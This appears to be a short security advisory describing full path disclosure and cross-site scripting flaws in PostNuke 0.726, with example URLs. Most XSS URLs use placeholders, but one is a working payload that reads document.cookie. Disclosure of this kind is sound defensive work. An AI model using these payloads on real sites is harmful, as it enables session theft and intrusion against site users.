|
Brought to you by:
Suppliers of:
|
|
|
| |
"PostNuke is an open source, open developement content management system (CMS). PostNuke started as a fork from PHPNuke (http://www.phpnuke.org) and provides many enhancements and improvements over the PHP-Nuke system. PostNuke is still undergoing development but a large number of core functions are now stabilising and a complete API for third-party developers is now in place."
The vulnerabilities found in PostNuke Phoenix are full path disclosure and cross-site scripting. |
| |
Credit:
The information has been provided by Janek Vind.
|
| |
Vulnerable Systems:
* PostNuke version 0.726 (Phoenix)
Full Path Disclosure
All blocks in the '/include/blocks/' directory reveal their true path if they are access directly (without the proper parameters).
Example:
Accessing the following URL: http://localhost/postnuke0726/includes/blocks/finclude.php, will reveal:
Fatal error: Call to undefined function: pnsecaddschema() in D:\apache_wwwroot\postnuke0726\includes\blocks\finclude.php on line 44
Other scripts are also vulnerable:
http://localhost/postnuke0726/pnadodb/drivers/adodb-access.inc.php
http://localhost/postnuke0726/modules/NS-NewUser/user.php
http://localhost/postnuke0726/modules/NS-Your_Account/user/links/links.changehome.php
http://localhost/postnuke0726/modules/NS-Your_Account/user/case/case.changehome.php?op=edithome
http://localhost/postnuke0726/modules/NS-LostPassword/user.php
http://localhost/postnuke0726/modules/NS-Multisites/chgtheme.inc.php
http://localhost/postnuke0726/modules/NS-Multisites/head.inc.php
http://localhost/postnuke0726/modules/NS-Multisites/print.inc.php
http://localhost/postnuke0726/modules/NS-User/tools.php
http://localhost/postnuke0726/modules/NS-User/user.php
Cross-site Scripting
The following XSS attacks are only possible if PostNuke has been made to use its anti-filtering. Accessing any of the below URLs will trigger the execution of the [xss code here] block. http://localhost/postnuke0726/modules.php?op=modload&name=Downloads&file=index&req=ratedownload&ttitle=x&lid=>[xss code here]
http://localhost/postnuke0726/modules.php?op=modload&name=Downloads&file=index&req=search&query=>[xss code here]
http://localhost/postnuke0726/modules.php?op=modload&name=Web_Links&file=index&req=search&query=>[xss code here]
http://localhost/postnuke0726/javascript/openwindow.php?hlpfile=x<html><body>[xss code here]
http://localhost/postnuke0726/javascript/openwindow.php?hlpfile=x<html><body%20onload=alert(document.cookie);>
|
|
|
|
|
